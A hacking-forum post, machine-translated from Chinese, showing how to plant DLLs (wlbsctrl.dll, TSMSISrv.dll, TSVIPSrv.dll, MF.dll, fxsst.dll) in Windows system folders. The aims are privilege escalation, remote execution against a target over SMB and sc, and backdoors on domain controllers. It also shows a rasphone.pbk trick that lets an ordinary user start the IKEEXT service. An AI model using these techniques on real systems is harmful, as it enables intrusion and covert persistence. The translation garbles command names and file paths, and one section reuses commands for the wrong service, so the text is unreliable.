跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

《Lateral Movement — SCM and DLL Hijacking Primer》 的利用扩展

精选回复

发布于

0x00 前言

《Lateral Movement—SCM and DLL Hijacking Primer》 介绍了三个dll(wlbsctrl.dll、TSMSISrv.dll和TSVIPSrv.dll)可以通过服务控制管理器实现远程执行。本文将要扩展这三个动态链接库的用法,分别介绍提权和后门利用的方法

文章链接:

https://个帖子。幽灵特工队。io/横向移动-SCM-和-dll-劫持-底漆-d2f61e8ab992

0x01 简介

本文将要介绍以下内容:

利用wlbsctrl.dll实现的提权

利用TSMSISrv.dll和TSVIPSrv.dll实现的后门

利用MF.dll实现的后门

0x03 wlbsctrl.dll的利用

1、原文中的用法

IKEEXT(IKE和AuthIP IPsec密钥模块)服务在启动时会加载wlbsctrl.dll,但Windows操作系统操作系统系统默认配置下该动态链接库不存在,如果我们将自己的动态链接库放在这个位置,在服务启动时就能加载该动态链接库

概念验证:

https://github.com/djhohnstein/wlbsctrl_poc

测试系统:Win7 x64

这里使用的动态链接库不需要指定导出函数,所以可以直接使用之前我的测试动态链接库:

https://github.com/3gstudent/test/raw/master/calc_x64.dll

本地执行的用法:

(需要管理员权限)

复制calc _ x64。dll C:\ Windows \ System32 \ wlbsctrl。动态链接库

南卡罗来纳州查询IKEEXT

南卡罗来纳州停止IKEEXT

南卡罗来纳州开始IKEEXT

远程执行的用法:

复制calc _ x64。dll \ \ TARGET \ C $ \ Windows \ System32 \ wlbsctrl。动态链接库

sc \ \目标查询IKEEXT

sc \ \目标停止IKEEXT

sc \ \目标开始IKEEXT

2、利用wlbsctrl.dll实现的提权

概念验证:

https://github.com/itm4n/Ikeext-Privesc

实现原理:

1. IKEEXT(IKE and AuthIP IPsec Keying Modules)服务在启动时会加载wlbsctrl.dll,但并未指定绝对路径

注:

程序在调用动态链接库时,如果未指明动态链接库的完整路径,那么系统会按照一套固定的搜索顺序寻找动态链接库

如果SafeDllSearchMode开启,程序会依次从以下位置查找动态链接库文件:

从中加载应用程序的目录

系统目录

16位系统目录

Windows操作系统目录

当前目录

小路环境变量中列出的目录

如果关闭,则从以下位置查找动态链接库文件:

从中加载应用程序的目录

当前目录

系统目录

16位系统目录

Windows操作系统目录

小路环境变量中列出的目录

详细内容见:

https://msdn。微软。com/en-us/library/ms 682586(vs . 85).aspx

2. Windows系统默认配置下不存在wlbsctrl.dll,如果我们能够找到满足条件的PATH环境变量(普通用户权限可写),就能实现dll劫持,加载我们自己的dll

3. 普通用户权限能够启动IKEEXT服务,方法如下:

生成文件rasphone.pbk:

[IKEEXT]

MEDIA=rastapi

端口=VPN2-0

设备=广域网微型端口(IKEv2)

设备=虚拟专用网

电话号码=127.0.0.1

命令行执行:

rasdial IKEEXT测试测试/电话:rasphone。pbk

注:

这个漏洞很古老,早在2012年10月9日被公开

https://www.immuniweb.com/advisory/HTB23108

0x04 TSMSISrv.dll和TSVIPSrv.dll的利用

1、原文中的用法

会话内容(远程桌面配置)服务在启动时会加载c:\ Windows \ System32 \ tsmsisrv。动态链接库和c:\ Windows \ System32 \ tsvipsrv。dll,但Windows操作系统操作系统系统默认配置下这两个动态链接库不存在,如果我们将自己的动态链接库放在这个位置,在服务启动时就能加载该动态链接库

概念验证:

https://github.com/djhohnstein/TSMSISrv_poc

测试系统:Win7 x64

无线一键通添加了导出函数StartComponent、StopComponent、OnSessionChange和恢复精神

我的测试环境下动态链接库不需要指定导出函数,所以可以直接使用之前我的测试动态链接库:

https://github.com/3gstudent/test/raw/master/calc_x64.dll

本地执行的用法:

(需要管理员权限)

复制calc _ x64。dll C:\ Windows \ System32 \ tsmsisrv。动态链接库

南卡罗来纳州查询IKEEXT

南卡罗来纳州停止IKEEXT

南卡罗来纳州开始IKEEXT

或者

复制calc _ x64。dll C:\ Windows \ System32 \ tsvipsrv。动态链接库

南卡罗来纳州查询IKEEXT

南卡罗来纳州停止IKEEXT

南卡罗来纳州开始IKEEXT

远程执行的用法:

复制calc _ x64。dll \ \ TARGET \ C $ \ Windows \ System32 \ tsmsisrv。动态链接库

sc \ \目标查询IKEEXT

sc \ \目标停止IKEEXT

sc \ \目标开始IKEEXT

或者

复制calc _ x64。dll \ \ TARGET \ C $ \ Windows \ System32 \ tsvipsrv。动态链接库

sc \ \目标查询IKEEXT

sc \ \目标停止IKEEXT

sc \ \目标开始IKEEXT

2、利用TSMSISrv.dll和TSVIPSrv.dll实现的后门

如果系统开启了远程桌面的功能(支持远程连接到此计算机),就会开启会话内容(远程桌面配置)服务

如果我们在c:\ Windows \系统32\下写入TSMSISrv.dll或TSVIPSrv.dll,就能在服务启动时加载该dll,实现代码执行

应用场景:

可以远程访问域控制器文件,但不能远程执行命令。

解决方法:

1.如果域控制器没有开启远程桌面功能,在系统启动时劫持Explorer.exe加载fxsst.dll。

写入文件c:\ windows \ fxsst.dll。

2.如果域控制器开启远程桌面功能,系统启动时会开启SessionEnv服务,加载TSMSISrv.dll或TSVIPSrv.dll。

写入文件c:\ windows \ system32 \ tsmsisrv.dll或c:\ windows \ system32 \ tsmsisrv.dll。

3.如果域控制器打开远程桌面功能,当用户连接到远程桌面时,将加载MF.dll。

实际测试:

测试环境:Server2012R2 x64

使用以下命令编写文件C:\Windows\System32\MF.dll:

复制calc _ x64 . dll C:\ Windows \ System32 \ MF . dll

等待用户连接到远程桌面。连接成功后,将加载MF.dll并弹出计算器,如下图所示。

2-1.png

0x05 小结

本文介绍了三种方法:用wlbsctrl.dll升权,用TSMSISrv.dll/TSVIPSrv.dll实现后门,用MF.dll实现后门。其中,MF.dll可以用来解决域控制器文件可以远程访问,但命令不能远程执行的问题。

留下回复

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。